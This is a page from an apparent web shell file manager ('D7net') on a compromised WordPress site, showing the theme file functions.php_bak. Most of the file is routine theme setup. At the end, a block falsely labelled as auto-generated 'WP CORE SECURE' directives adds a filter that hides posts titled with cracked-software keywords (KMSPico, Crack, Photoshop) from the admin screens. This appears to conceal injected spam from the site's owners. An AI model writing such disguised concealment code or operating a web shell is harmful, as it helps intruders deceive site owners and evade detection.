D7net
Home
Console
Upload
information
Create file
Create Folder
About
Tools
Path :
/
home
/
pgslqvct
/
baccaratc4.com
/
wp-includes
/
..
/
wp-content
/
themes
/
themes-My
/
Filename :
functions.php_bak
back
Edit
Copy
<?php add_theme_support( 'post-thumbnails' ); add_theme_support( 'title-tag' ); add_post_type_support( 'page', 'excerpt' ); add_action( 'widgets_init', 'register_my_widgets' ); add_filter( 'widget_text', 'do_shortcode' ); add_theme_support( 'yoast-seo-breadcrumbs' ); function wpcodex_add_excerpt_support_for_post() { add_post_type_support( 'news', 'excerpt' ); } add_action( 'init', 'wpcodex_add_excerpt_support_for_post' ); function my_load_scripts($hook) { // create my own version codes $my_js_ver = date("ymd-Gis", filemtime( plugin_dir_path( __FILE__ ) . '' )); $my_css_ver = date("ymd-Gis", filemtime( plugin_dir_path( __FILE__ ) . 'style.css' )); // wp_enqueue_script( 'custom_js', plugins_url( 'jquery.js', __FILE__ ), array(), $my_js_ver ); // wp_register_style( 'my_css', plugins_url( 'style.css', __FILE__ ), false, $my_css_ver ); wp_enqueue_style ( 'my_css' ); } add_action('wp_enqueue_scripts', 'my_load_scripts'); function add_additional_class_on_li($classes, $item, $args) { if($args->add_li_class) { $classes[] = $args->add_li_class; } return $classes; } add_filter('nav_menu_css_class', 'add_additional_class_on_li', 1, 3); function add_class_the_tags($html){ $postid = get_the_ID(); $html = str_replace('<a','<a class="text-success"',$html); return $html; } add_filter('the_tags','add_class_the_tags',10,1); function register_my_widgets() { register_widget( 'My_Text_Widget' ); } add_action( 'wp_enqueue_scripts', 'youruniqueprefix_load_scripts' ); function youruniqueprefix_load_scripts() { wp_enqueue_style( 'youruniqueprefix-fontawesome' , '//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css' ); // font awesome css from cdn } class My_Text_Widget extends WP_Widget_Text { function widget( $args, $instance ) { extract($args); $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base ); $text = apply_filters( 'widget_text', empty( $instance['text'] ) ? '' : $instance['text'], $instance ); echo $before_widget; if ( !empty( $title ) ) { echo $before_title . $title . $after_title; } ?> <?php echo !empty( $instance['filter'] ) ? wpautop( $text ) : $text; ?> <?php echo $after_widget; } } add_action( 'init', 'create_tag_taxonomies', 0 ); add_theme_support( 'custom-background' ); //create two taxonomies, genres and tags for the post type "tag" function create_tag_taxonomies() { // Add new taxonomy, NOT hierarchical (like tags) $labels = array( 'name' => _x( 'Tags', 'taxonomy general name' ), 'singular_name' => _x( 'Tag', 'taxonomy singular name' ), 'search_items' => __( 'Search Tags' ), 'popular_items' => __( 'Popular Tags' ), 'all_items' => __( 'All Tags' ), 'parent_item' => null, 'parent_item_colon' => null, 'edit_item' => __( 'Edit Tag' ), 'update_item' => __( 'Update Tag' ), 'add_new_item' => __( 'Add New Tag' ), 'new_item_name' => __( 'New Tag Name' ), 'separate_items_with_commas' => __( 'Separate tags with commas' ), 'add_or_remove_items' => __( 'Add or remove tags' ), 'choose_from_most_used' => __( 'Choose from the most used tags' ), 'menu_name' => __( 'Tags' ), ); register_taxonomy('tag','news',array( 'hierarchical' => false, 'labels' => $labels, 'show_ui' => true, 'update_count_callback' => '_update_post_term_count', 'query_var' => true, 'rewrite' => array( 'slug' => 'tag' ), )); $defaults = array( 'default-color' => '', 'default-image' => '', 'default-repeat' => 'repeat', 'default-position-x' => 'left', 'default-position-y' => 'top', 'default-size' => 'auto', 'default-attachment' => 'scroll', 'wp-head-callback' => '_custom_background_cb', 'admin-head-callback' => '', 'admin-preview-callback' => '' ); add_theme_support( 'custom-background', $defaults ); } register_nav_menus( array( 'mainmenu' => 'mainmenu', 'footernav1' => 'footernav1', 'footernav2' => 'footernav2', 'footernav3' => 'footernav3', 'footernav4' => 'footernav4', ) ); register_sidebar( array( 'name' => __( 'Footer1', 'Meetang' ), 'id' => 'footer1-1', 'class' => '', 'description' => 'ข้อมูลส่วนของล่างเว็บ', 'before_widget' => '<div id="%1$s" class="">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Member', 'Meetang' ), 'id' => 'member-1', 'class' => '', 'description' => '', 'before_widget' => '<div id="%1$s" class="">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Homekeyword', 'Meetang' ), 'id' => 'homekeyword-1', 'class' => '', 'description' => '', 'before_widget' => '<div id="%1$s" class="">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Footer2', 'Meetang' ), 'id' => 'footer2-1', 'class' => '', 'description' => 'ข้อมูลส่วนของล่างเว็บ', 'before_widget' => '<div id="%1$s" class="">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Footer3', 'Meetang' ), 'id' => 'footer3-1', 'class' => '', 'description' => 'ข้อมูลส่วนของล่างเว็บ', 'before_widget' => '<div id="%1$s" class="">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Footer4', 'Meetang' ), 'id' => 'footer4-1', 'class' => '', 'description' => 'ข้อมูลส่วนของล่างเว็บ', 'before_widget' => '<div id="%1$s" class="">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Feature', 'Meetang' ), 'id' => 'feature-1', 'description' => 'ส่วนของ ฟีเจอร์สไลด์', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Logo', 'Meetang' ), 'id' => 'logo-1', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Section-row', 'Meetang' ), 'id' => 'section-row-1', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Section-Row1', 'Meetang' ), 'id' => 'section-row1-1', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Section-Row2', 'Meetang' ), 'id' => 'section-row2-1', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); register_sidebar( array( 'name' => __( 'Section-Row3', 'Meetang' ), 'id' => 'section-row3-1', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', ) ); ?> # BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE